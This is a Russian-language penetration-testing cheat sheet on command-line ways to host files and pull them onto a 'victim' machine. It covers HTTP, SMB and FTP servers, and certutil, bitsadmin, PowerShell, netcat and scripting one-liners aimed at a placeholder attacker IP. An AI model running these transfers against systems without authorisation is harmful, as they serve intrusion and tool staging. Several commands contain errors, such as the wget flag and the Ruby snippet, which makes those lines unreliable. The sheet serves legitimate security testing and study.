CLI File Transfer

Professional pentester, technical writer, telegram channel owner
Для чего нужно?
При выполнении шагов перебора в ходе пентеста часто возникает необходимость передачи файлов на машину жертвы или с нее, например, для запуска пользовательских сценариев или дальнейшего анализа файлов на своей машине.
Существуют различные техники и инструменты, которые можно использовать для передачи файлов, и в зависимости от целевой операционной системы и установленного программного обеспечения они могут работать или не работать. Цель этой шпаргалки - предоставить исчерпывающий ресурс по передаче файлов с помощью интерфейсов командной строки.
Раздача файлов
Файлы можно размещать с помощью таких методов, как веб-серверы, FTP, SMB и т.д. В приведенной ниже шпаргалке представлены некоторые из наиболее распространенных методов, которые можно использовать для размещения файлов:
Python HTTP Server
python3 -m http.server [PORT]
Apache
# требуется поместить файлы в /var/www/html/
service apache2 start; systemctl start apache2;
Nginx
# требуется поместить файлы в /usr/share/nginx/html или /var/www/html
service nginx start; systemctl start nginx
PHP server
php -S 0.0.0.0:[PORT]
Netcat
nc -nv IP [PORT] < file
smbserver.py by Impacket
impacket-smbserver share [share_dir]
Linux Samba
# раздачу надо добавить в /etc/samba/smb.conf
service smbd start; systemctl start smbd
FTP
# Для настройки FTP-серверов можно использовать такие службы, как pure-ftpd и proftpd
service pure-ftpd start; systemctl start pure-ftpd; service proftpd start; systemctl start proftpd
# atftpd позвляет легко настроить TFTP сервер
atftpd –daemon –port [PORT] ftp_dir
Web brick Ruby
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => PORT, :DocumentRoot => Dir.pwd).start'
Ruby http server
ruby -run -e httpd . -p [PORT]
Perl Brick HTTP сервер
cpan HTTP::Server::Brick;
perl -MHTTP::Server::Brick -e ‘$s=HTTP::Server::Brick->new(port=>PORT); $s->mount(“/”=>{path=>”.”}); $s->start’
Microsoftg IIS Express
"C:\Program Files (x86)\IIS Express\iisexpress.exe" /path:C: /port:[PORT]
Получение файлов
Файлы можно загружать с помощью различных инструментов, таких как wget/curl FTP, SMB и т.д. В приведенной ниже шпаргалке представлены некоторые из наиболее распространенных методов, которые можно использовать для размещения файлов:
Wget
wget http://[IP]:[PORT]/file -o output_file
Curl
curl http://[IP]:[PORT]/file -o output_file
Certutil
certutil -urlcache -split -f "http://[IP]:[PORT]/file" output_file
Invoke-WebRequest
powershell -c Invoke-WebRequest -Uri http://[IP]:[port]/file -OutFile output_file;
System.Net.WebClient
powershell -c (New-Object Net.WebClient).DownloadFile('http://[IP]:[PORT]/file', 'output_file')
Bitsadmin
bitsadmin /transfer job /download /priority high http://[IP]/file output_file
Netcat
nc -q 0 -lvp [PORT] > file
SMB copy command
copy \[IP]\SHARE\output_file
smbget
smbget smb://[domain];[user]:[password]@[server]/share/path/file
SCP
scp /path/file [username]@[IP]:/path/file
scp [username]@[IP_1]:/path/file [username]@[IP_2]:/path/file
scp [username]@[IP]:/path/file /path/file
PHP func file_put_contents
php -r "file_put_contents('output_file', fopen('http://[IP]:[PORT]/file', 'r'));”
Python func urlretrieve from urllib
python -c 'from urllib import urlretrieve; urlretrieve("http://[IP]:[PORT]/file", "output_file")';
python3 -c 'from urllib.request import urlretrieve; urlretrieve("http://[IP]:[PORT]/file", "output_file")'
Perl lib WWW
perl -MLWP::Simple -e 'getstore("http://[IP]/file", "out_file")';
perl -e 'use LWP::Simple; getstore("http://[IP]/file", "out_file")'
Ruby lib Open-URI
ruby -e 'require "open-uri"; File.open("output_file", "wb") do |file|; URI.open("http://[IP]:[PORT]/file").read; end'




